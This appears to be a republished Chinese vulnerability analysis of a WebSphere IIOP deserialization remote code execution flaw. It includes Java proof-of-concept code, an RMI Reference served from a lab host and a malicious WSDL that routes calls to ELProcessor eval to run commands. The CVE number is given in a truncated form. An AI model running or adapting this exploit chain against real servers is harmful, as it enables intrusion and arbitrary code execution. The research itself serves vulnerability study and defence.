您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何進行WebSphere 反序列化遠程代碼執行漏洞的深度分析,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
WebSphere 是 IBM 的軟件平臺。它包含了編寫、運行和監視全天候的工業強度的隨需應變 Web 應用程序和跨平臺、跨產品解決方案所需要的整個中間件基礎設施,如服務器、服務和工具。WebSphere 提供了可靠、靈活和健壯的軟件。
WebSphere Application Server 是該設施的基礎,其他所有產品都在它之上運行。WebSphere Process Server 基于 WebSphere Application Server 和 WebSphere Enterprise Service Bus,它為面向服務的體系結構 (SOA) 的模塊化應用程序提供了基礎,并支持應用業務規則,以驅動支持業務流程的應用程序。高性能環境還使用 WebSphere Extended Deployment 作為其基礎設施的一部分。其他 WebSphere 產品提供了廣泛的其他服務。
WebSphere 是一個模塊化的平臺,基于業界支持的開放標準。可以通過受信任和持久的接口,將現有資產插入 WebSphere,可以繼續擴展環境。WebSphere 可以在許多平臺上運行,包括 Intel、Linux 和 z/OS。
WebSphere 是隨需應變的電子商務時代的最主要的軟件平臺,可用于企業開發、部署和整合新一代的電子商務應用,如B2B,并支持從簡單的網頁內容發布到企業級事務處理的商業應用。WebSphere 可以創建電子商務站點, 把應用擴展到聯合的移動設備, 整合已有的應用并提供自動業務流程。
WSDL是一個用于精確描述Web服務的文檔,WSDL文檔是一個遵循WSDL-XML模式的XML文檔。WSDL 文檔將Web服務定義為服務訪問點。在 WSDL 中,由于服務訪問點和消息的抽象定義已從具體的服務部署或數據格式綁定中分離出來,因此可以對抽象定義進行再次使用。消息,指對交換數據的抽象描述;而端口類型,指操作的抽象集中。用于特定端口類型的具體協議和數據格式規范構成了可以再次使用的綁定。將Web訪問地址與可再次使用的綁定相關聯,可以定義一個端口,而端口的集中則定義為服務。 一個WSDL文檔通常包含8個重要的元素,即definitions、types、import、message、portType、operation、binding、service元素。這些元素嵌套在definitions元素中,definitions是WSDL文檔的根元素。
網上最早披露的漏洞相關詳情信息是在https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere此篇博文中進行講解的。
根據文中的部分描述,此漏洞是由IIOP協議上的反序列化造成,所以我們本地需要起一個IIOP客戶端來向WebSphere發送請求從而觸發漏洞。
代碼如下所示
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory"); env.put(Context.PROVIDER_URL, "iiop://172.16.45.148:2809"); InitialContext initialContext = new InitialContext(env); initialContext.list("");
根據文章中的描述我們來到TxServerInterceptor這個攔截器的receive_request方法中,根據博主的描述在到達反序列化點之前的執行路徑如下所示
我們先從TxServerInterceptor的receive_request方法開始調試。
我們運行IIOP客戶端,向WebSphere發送請求,但是很快就發現執行鏈中的第二個斷點并沒有被執行,我們來看下源碼
首先先看validOtsContext是在哪里進行的賦值
可以看到validOtsContext的值為ture 或者false 取決于serviceContext的值是否為空。
經過調試發現不出所料serviceContext的值為空,那么現在就面臨第一個問題就是要讓程序執行到指定位置,所以我們要想辦法為serviceContext賦一個值。
所以我們跟入serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)
這行代碼,深度挖掘這個((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)
這個方法的返回值我們可不可控,判斷一下這個serviceContext的值是否獲取自IIOP客戶端發送的數據。
下面列出分析serviceContext值來源的調用鏈
最終來到ServiceContextList的getServiceContext方法,一下是該方法的具體實現
public ServiceContext getServiceContext(int var1) { ServiceContext var2 = null; synchronized(this) { for(int var4 = 0; var4 < this.serviceContexts.length; ++var4) { if (this.serviceContexts[var4].getId() == var1) { var2 = this.serviceContexts[var4]; break; } } return var2; } }
這里的var1是((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)
的參數也就是0,這里會循環遍歷ServiceContexts, 如果其中有一個ServiceContext的id值為0,則會為var2賦值并返回。也就是說我們要想辦法讓ServiceContext的id值為0。那么此時我們就要看這里的serviceContexts究竟又是在哪里盡心的賦值。
經過對代碼的回溯,最終找到了這個為serviceContexts賦值的點,在RequestMessage的read方法中,這里會生成ServiceContext對象并為其id值進行復制,而這里的id值就是又客戶端傳遞來的序列化數據中讀取到的,那么就意味著該值可控。
那么我們就要回到POC的構造中來思考怎么設置ServiceContext的值。
根據奇安信 觀星實驗室的iswin大佬給的思路,在將構造好的ServerContext封裝進請求數據之前需要先進行一次查詢操作,從而讓數據初始化
這是初始化之前其中的_context對象是null
當執行完一次查詢操作后_context對象就成功被初始化了
后續的一些操作就主要圍著_context對象中的屬性來進行操作了,經過一番查找最終鎖定了一個可以操作的ServerContext對象的屬性,
貼一下該屬性所在的位置,這里我精簡掉了其余的暫時用不到的屬性。
這里并沒有顯示該屬性的類型,所以去Connection類中查找對應的屬性,確定其類型
現在我們的目標明確了,就是要向該屬性賦一個ServiceConetxt的值,這里就需要用到一系列的反射了,截止到orb屬性為止都可以通過簡單的反射來進行獲取代碼如下所示
Field f_defaultInitCtx = initialContext.getClass().getDeclaredField("defaultInitCtx"); f_defaultInitCtx.setAccessible(true); WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(initialContext); Field f_context = defaultInitCtx.getClass().getDeclaredField("_context"); f_context.setAccessible(true); CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx); Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC"); f_corbaNC.setAccessible(true); _NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context); Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate"); f__delegate.setAccessible(true); ClientDelegate clientDelegate = (ClientDelegate)f__delegate.get(_corbaNC); Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior"); f_ior.setAccessible(true); IOR ior = (IOR) f_ior.get(clientDelegate); Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb"); f_orb.setAccessible(true); ORB orb = (ORB)f_orb.get(clientDelegate);
然后根據iswin大佬文章中給的相關代碼 可以通過反射獲取orb屬性中存儲的GIOPImpl對象的getConnection方法,然后通過getConnection方法在獲取我們所需要的Connection對象
代碼如下
//通過反射獲取的orb屬性 調用其getServerGIOP方法獲取封裝在其中的GIOPImpl對象 GIOPImpl giopimpl = (GIOPImpl) orb.getServerGIOP(); //反射獲取該GIOPImpl對象的getConnection方法 Method getConnection = giopimpl.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class); getConnection.setAccessible(true); //調用getConnection方法傳入對應參數,獲取所需的Connection對象。 Connection connection = (Connection) getConnection.invoke(giopimpl,ior,ior.getProfile(),clientDelegate,"LinShiGong");
根據之前對ServerContext對象的分析,我們需要將它封裝進該Connection對象的connectionContext屬性中,所以還需要通過反射獲取Connection對象的setConnectionContexts方法,并通過該方法將我們實例化好的ServerContext對象存入其中
代碼如下
//反射獲取Connection對象的setConnectionContexts方法 Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class); setConnectionContexts.setAccessible(true);
接下來我們需要實例化一個ServiceContext對象并將其id值設置為0
代碼如下
//為了滿足ServiceContext構造方法需要的參數,先隨意構造一個byte[] byte[] result = new byte[]{00,00}; ServiceContext serviceContext = new ServiceContext(0,result);
接下來通過反射獲得的setConnectionContexts方法將ServiceContext對象存入Connection對象中
代碼如下
//由于setConnectionContexts的參數是一個ArrayList類型所以需要將ServiceContext對象先放入一個ArrayList中 ArrayList var4 = new ArrayList(); var4.add(serviceContext); setConnectionContexts.invoke(connection,var4); //再次進行查詢操作 initialContext.list("");
回到WebSphere這邊,繼續調試看能否執行到TxInterceptorHelper.demarshalContext方法的位置,可以看到此時serviceContext的值不在為空了,validOtsContext的值也變成的true
可以看到程序現在可以執行到指定位置了,那我們就繼續往下走。
進入到demarshalContext方法后又遇到了第二個問題,就是該方法內會對客戶端傳來的數據進行讀取,并封裝入一個PropagationContext對像中
這里傳入了三個參數然后生成了一個inputStream對象,面對這種問題首先要看這個inputStream讀取的數據究竟是哪個參數里面的,所以深入跟進inputStream.read_ulong方法,并最終來到CDRInputStream.read_long方法中,觀察代碼可知,讀取的區域是當前對象的buf屬性中的內容,
看了這個buf屬性后覺得很眼熟,回頭看我們在客戶端這邊實例化ServiceContext對像時傳入的result參數和該屬性的值一模一樣,由此可知我們需要在客戶端實例化ServiceContext時在精心構造一下其所需的第二個參數。
我們要找到與demarshalContext方法對應的marshalContext方法,然后看看該方法是怎么處理數據的,然后我們照著來就行了。
根據上面的格式我們自己稍微修改一下
代碼如下
CDROutputStream outputStream = ORB.createCDROutputStream(); outputStream.putEndian(); Any any = orb.create_any(); //生成一個PropagationContext對象。 PropagationContext propagationContext = new PropagationContext( 0, new TransIdentity(null,null,new otid_t(0,0,new byte[0])), new TransIdentity[0], any ); PropagationContextHelper.write(outputStream,propagationContext); //輸出為byte數組 byte[] result = outputStream.toByteArray(); ServiceContext serviceContext = new ServiceContext(0,result); ArrayList var4 = new ArrayList(); var4.add(serviceContext); setConnectionContexts.invoke(connection,var4); initialContext.list("");
這樣就可以成功執行到propContext.implementation_specific_data = inputStream.read_any()
這行代碼。繼續跟入
跟到TCUtility類的unmarshalIn方法中,這里遇到了第三個問題,根據https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere此篇博文中的介紹,該方法中有一個switch我們需要走到如下圖所示的代碼位置
但是目前的參數經過選擇是走不到此處的,所以就又需要我們來查看此處的參數是否是前端傳入并且是否可控了,如果可控那就需要我們繼續在前端對數據進行構造。
我們先觀察這里傳遞進來的第一個參數也就是var0 一個InputStream類型的參數
代碼調回到PropagationContext類的demarshalContext方法,看到出發漏洞的代碼如下圖所示,其實結合客戶端的代碼不難知道這是在反序列化我們傳遞的PropagationContext對象里封裝的一個AnyImpl對象那個
其實結合客戶端的代碼不難知道這是在反序列化我們傳遞的PropagationContext對象里封裝的一個AnyImpl對象那個
//就是這個AnyImpl Any any = orb.create_any(); PropagationContext propagationContext = new PropagationContext( 0, new TransIdentity(null,null,new otid_t(0,0,new byte[0])), new TransIdentity[0], any );
根據博文中的描述IBM Java SDK中Classloader中禁掉了一些gadget用到的類,TemplatesImpl類不再是可序列化的,而此類又常用于很多公共gadget鏈中,根據IBM Java SDK中TemplatesImpl類和oracle JDK中TemplatesImpl類的繼承關系可以確認這一點。
Oracle JDK中的TemplatesImpl類的繼承關系
IBM Java SDK中的TemplatesImpl類的繼承關系,可以看到沒有實現Serializable接口
IBM SDK不使用Oracle JDK的Java命名和目錄接口(JNDI)實現。因此,它不會受到通過RMI/LDAP加載遠程類的攻擊,以上的種種限制都增加了RCE的難度,我們需要重新在IBM WebSphere中找到一條新的利用鏈。
大佬們給出了相應的思路,IBM WebSphere中有這么一個類WSIFPort_EJB可以作為入口,此次反序列化RCE利用了WSIFPort_EJB在反序列化時會從前端傳入的數據中反序列化初一個Handle對象,并且會調用該對象的getEJBObject()方法。
我們需要將WSIFPort_EJB封裝入PropagationContext類的implementation_specific_data屬性中,也就是AnyImpl對像中,這樣在執行propContext.implementation_specific_data = inputStream.read_any()
將AnyImpl對象從inputStream中反序列化出來的時候,就會自然而然的去反序列化我們封裝進去的WSIFPort_EJB方法從而執行其readObject方法
代碼如下
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null); Any any = orb.create_any(); any.insert_Value(wsifPort_ejb);
修改完后再次運行,發現可以執行到此次反序列化漏洞的入口點,WSIFPort_EJB類的readObject方法了
由于我們選擇利用這里的handle.getEJBObject()
方法,所以需要找到一個實現了Handle接口的類,最終找到了com.ibm.ejs.container.EntityHandle這個類
在談到EntityHandle這個類之前我們先看下EntityHandle的getEJBObject方法,以下是該方法中的部分代碼
public EJBObject getEJBObject() throws RemoteException { ...... //此處的this.homeJNDIName和homeClass皆為我們可控 home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass); } catch (NoInitialContextException var7) { Properties p = new Properties(); p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory"); ctx = new InitialContext(p); home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass); } Method fbpk = this.findFindByPrimaryKey(homeClass); this.object = (EJBObject)fbpk.invoke(home, this.key); } catch (InvocationTargetException var10) { ...... }
首先我們已知this.homeJNDIName是我們可控的,那么就意味著我們可以指定WebSphere去lookup一個指定rmi或者ldap服務器,我們在服務器上可以放一個RMI Reference 來讓WebSphere進行加載。
生成一個可利用EntityHandle的對象需要通過一系列比較復雜的反射,根據Iswin大佬提供的思路,代碼如下
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null); Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject"); fieldEjbObject.setAccessible(true); fieldEjbObject.set(wsifPort_ejb,new EJSWrapper(){ @Override public Handle getHandle() throws RemoteException { Handle var2 = null; try { SessionHome sessionHome = new SessionHome(); J2EEName j2EEName = new J2EENameImpl("iswin",null,null); Field j2eeName = EJSHome.class.getDeclaredField("j2eeName"); j2eeName.setAccessible(true); j2eeName.set(sessionHome,j2EEName); Field jndiName = EJSHome.class.getDeclaredField("jndiName"); jndiName.setAccessible(true); //jndiName.set(sessionHome,System.getProperty("rmi_backedn")); jndiName.set(sessionHome,"rmi://172.16.45.1:1097/Object"); BeanId beanId = new BeanId(sessionHome,"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"); Properties initProperties = new Properties(); initProperties.setProperty("java.naming.factory.object","org.apache.wsif.naming.WSIFServiceObjectFactory"); Constructor entiyHandleConstructor = EntityHandle.class.getDeclaredConstructor(BeanId.class,BeanMetaData.class,Properties.class); entiyHandleConstructor.setAccessible(true); BeanMetaData beanMetaData = new BeanMetaData(1); beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class; var2 = (Handle)entiyHandleConstructor.newInstance(beanId,beanMetaData,initProperties); }catch (Exception e){ e.printStackTrace(); } return var2; } });
之所以這樣寫是因為WSIFPort_EJB對象在序列化時會調用自身的fieldEjbObject屬性的getHandle方法,并將其返回值進行序列化,所以我們通過反射為fieldEjbObject屬性賦值一個EJSWrapper對象,并重寫其getHandle方法,在getHandle通過反射實例化EntityHandle對象。
回到EntityHandle的getEJBObject方法中,跟進ctx.lookup(this.homeJNDIName) 跟到ObjectFactoryHelper的getObjectInstanceViaContextDotObjectFactories方法里的時候可以看到
這里看到environment參數是我們可控的,所以在該方法中可以調用我們指定的factory的getObjectInstance方法,可以看到這里的值是在我們在EntityHandle實例化的時候作為參數傳遞進去了
我們傳遞進去的值是org.apache.wsif.naming.WSIFServiceObjectFactory
所以會調用WSIFServiceObjectFactory類的getObjectInstance方法
我們來看一下該方法的部分代碼,這里會對look加載的Reference的信息進行解析,并挨個Reference中的值取出。
public Object getObjectInstance(Object obj, Name name, Context context, Hashtable env) throws Exception { Trc.entry(this, obj, name, context, env); if (obj instanceof Reference && obj != null) { ...... } } else if (ref.getClassName().equals(WSIFServiceStubRef.class.getName())) { wsdlLoc = this.resolveString(ref.get("wsdlLoc")); serviceNS = this.resolveString(ref.get("serviceNS")); serviceName = this.resolveString(ref.get("serviceName")); portTypeNS = this.resolveString(ref.get("portTypeNS")); portTypeName = this.resolveString(ref.get("portTypeName")); String preferredPort = this.resolveString(ref.get("preferredPort")); String className = this.resolveString(ref.get("className")); if (wsdlLoc != null) { WSIFServiceFactory factory = WSIFServiceFactory.newInstance(); WSIFService service = factory.getService(wsdlLoc, serviceNS, serviceName, portTypeNS, portTypeName); Class iface = Class.forName(className, true, Thread.currentThread().getContextClassLoader()); Object stub = service.getStub(preferredPort, iface); Trc.exit(stub); return stub; } } } Trc.exit(); return null; }
來看一下Reference中的代碼。
Registry registry = LocateRegistry.createRegistry(1097); Reference reference = new Reference(WSIFServiceStubRef.class.getName(),(String) null,(String) null); reference.add(new StringRefAddr("wsdlLoc","http://172.16.45.1:8000/poc.xml")); reference.add(new StringRefAddr("serviceNS","http://www.ibm.com/namespace/wsif/samples/ab")); reference.add(new StringRefAddr("serviceName","rce_service")); reference.add(new StringRefAddr("portTypeNS","http://www.ibm.com/namespace/wsif/samples/ab")); reference.add(new StringRefAddr("portTypeName","RceServicePT")); reference.add(new StringRefAddr("preferredPort","JavaPort")); reference.add(new StringRefAddr("className","com.ibm.ws.batch.CounterHome")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Object",referenceWrapper);
這里先要注意到的一點就是最后有一個reference.add(new StringRefAddr("className","com.ibm.ws.batch.CounterHome"))
這里牽扯到最終該getObjectInstance函數返回值的類型問題,之前在看EntityHandle的getEJBObject方法時,narrow方法的返回值其實就是
ctx.lookup(this.homeJNDIName)的返回值,也就是說ctx.lookup(this.homeJNDIName)返回值的類型是要實現自EJBHome接口
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
WSIFServiceObjectFactory的getObjectInstance方法的返回值是一個Proxy類型,而該Proxy類型在創建時傳入的接口參數就是Reference中的new StringRefAddr("className","com.ibm.ws.batch.CounterHome")
,之所以選擇CounterHome作為返回的Proxy對象的接口,CounterHome繼承了EJBHome是一個原因,還有一個原因就是該接口中聲明了接下來要用到了findFindByPrimaryKey方法
講完了為何選擇CounterHome作為返回Proxy對象的接口,接下來getObjectInstance方法中還有這么一段代碼
WSIFService service = factory.getService(wsdlLoc, serviceNS, serviceName, portTypeNS, portTypeName);
這里會根據解析的Reference中的wsdlLoc字段的值也就是http://172.16.45.1:8000/poc.xml去該地址加載制定的xml文件,這個poc.xml就是一個WSDL文件內容如下,關于此WSDL文件的構造可以參考此篇文章https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html#N10041
<definitions name="RceServicePT" targetNamespace="http://www.ibm.com/namespace/wsif/samples/ab" xmlns:xsd="http://www.w3.org/2000/10/XMLSchema" xmlns:tns="http://www.ibm.com/namespace/wsif/samples/ab" xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/" xmlns:java="http://schemas.xmlsoap.org/wsdl/java/" xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://schemas.xmlsoap.org/wsdl/formatbinding/"> <message name="findByPrimaryKeyRequse"> <part name="term" type="xsd:string"/> </message> <message name="findByPrimaryKeyReponse"> <part name="value" type="xsd:object"/> </message> <portType name="RceServicePT"> <operation name="findByPrimaryKey"> <input name="getExpressionRequest" message="tns:findByPrimaryKeyRequse"/> <output name="getExpressionResponse" message="tns:findByPrimaryKeyReponse"/> </operation> </portType> <binding name="JavaBinding" type="tns:RceServicePT"> <java:binding/> <format:typeMapping encoding="Java" > <format:typeMap typeName="xsd:string" formatType="java.lang.String"/> <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/> </format:typeMapping> <operation name="findByPrimaryKey"> <java:operation methodName="eval" parameterOrder="term" methodType="instance" returnPart="value"/> <input name="getExpressionRequest"/> <output name="getExpressionResponse"/> </operation> </binding> <service name="rce_service"> <port name="JavaPort" binding="tns:JavaBinding"> <java:address className="javax.el.ELProcessor"/> </port> </service> </definitions>
可以看到Reference中的serviceName,portTypeName,preferredPort等字段的值都可以在這個xml中找到。
最終加載解析完成后會返回一個WSIFServiceImpl類型的值。getObjectInstance執行完成后會根據該WSIFServiceImpl對象生成一個對應的Proxy對象,也就前面提到的實現接口為CounterHome的那個proxy對象。
WSIFServiceObjectFactory的getObjectInstance方法執行完成后返回至EntityHandle的getEJBObject方法中,接下來會執行這里會查詢homeClass中是否有個方法名叫findFindByPrimaryKey的方法,如果有的話返回該方法的Method對象,如果沒有則返回空,該homeClass變量里的值是我們可控的,在IIOP客戶端生成EntityHandle對象時就已經封裝好了,其值為com.ibm.ws.batch.CounterHome所以執行結果時返回findFindByPrimaryKey方法的Method對像。
Method fbpk = this.findFindByPrimaryKey(homeClass)
接下來就會執行最關鍵的一步也就是
this.object = (EJBObject)fbpk.invoke(home, this.key)
接下來就會執行到WSIFClientProxy的Invoke方法中然后跟蹤到WSIFOperation_Java的executeRequestResponseOperation方法中,該方法中有這么一行代碼
result = this.fieldMethods[a].invoke(objRef, compatibleArguments);
可以看到這里就通過放反射的方法調用javax.el.ELProcessor的eval方法了,并將我們我們想要執行的代碼傳遞了進去。至此CVE-2020-445反序列化遠程代碼執行漏洞分析完畢。
此次漏洞確實稍顯復雜,但是思路其實還是挺清晰的,首先是通過構造發送的數據,讓WebSphere先執行到反序列化的點,然后由于IBM JAVA SDK本身的限制,沒辦法使用RMI Reference或者LDAP Reference 遠程加載Class到本地來執行惡意代碼的方式了所以 需要從本地找到一個實現了ObjectFactory的類,并且該類在getObjectInstance方法中進行了有風險的操作,這里可以參考Michael Stepankin大佬的這篇文章https://www.veracode.com/blog/research/exploiting-jndi-injections-java。所以找到了WSIFServiceObjectFactory,該類解析了Reference并根據Reference中的值去加載和解析我們事先準備好的一個惡意WSDL文件。最終WebSphere根據WSIFServiceObjectFactory的getObjectInstance方法的返回值通過反射的方式調用了javax.el.ELProcessor的eval方法了最終執行了我們的惡意代碼。
上述內容就是如何進行WebSphere 反序列化遠程代碼執行漏洞的深度分析,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。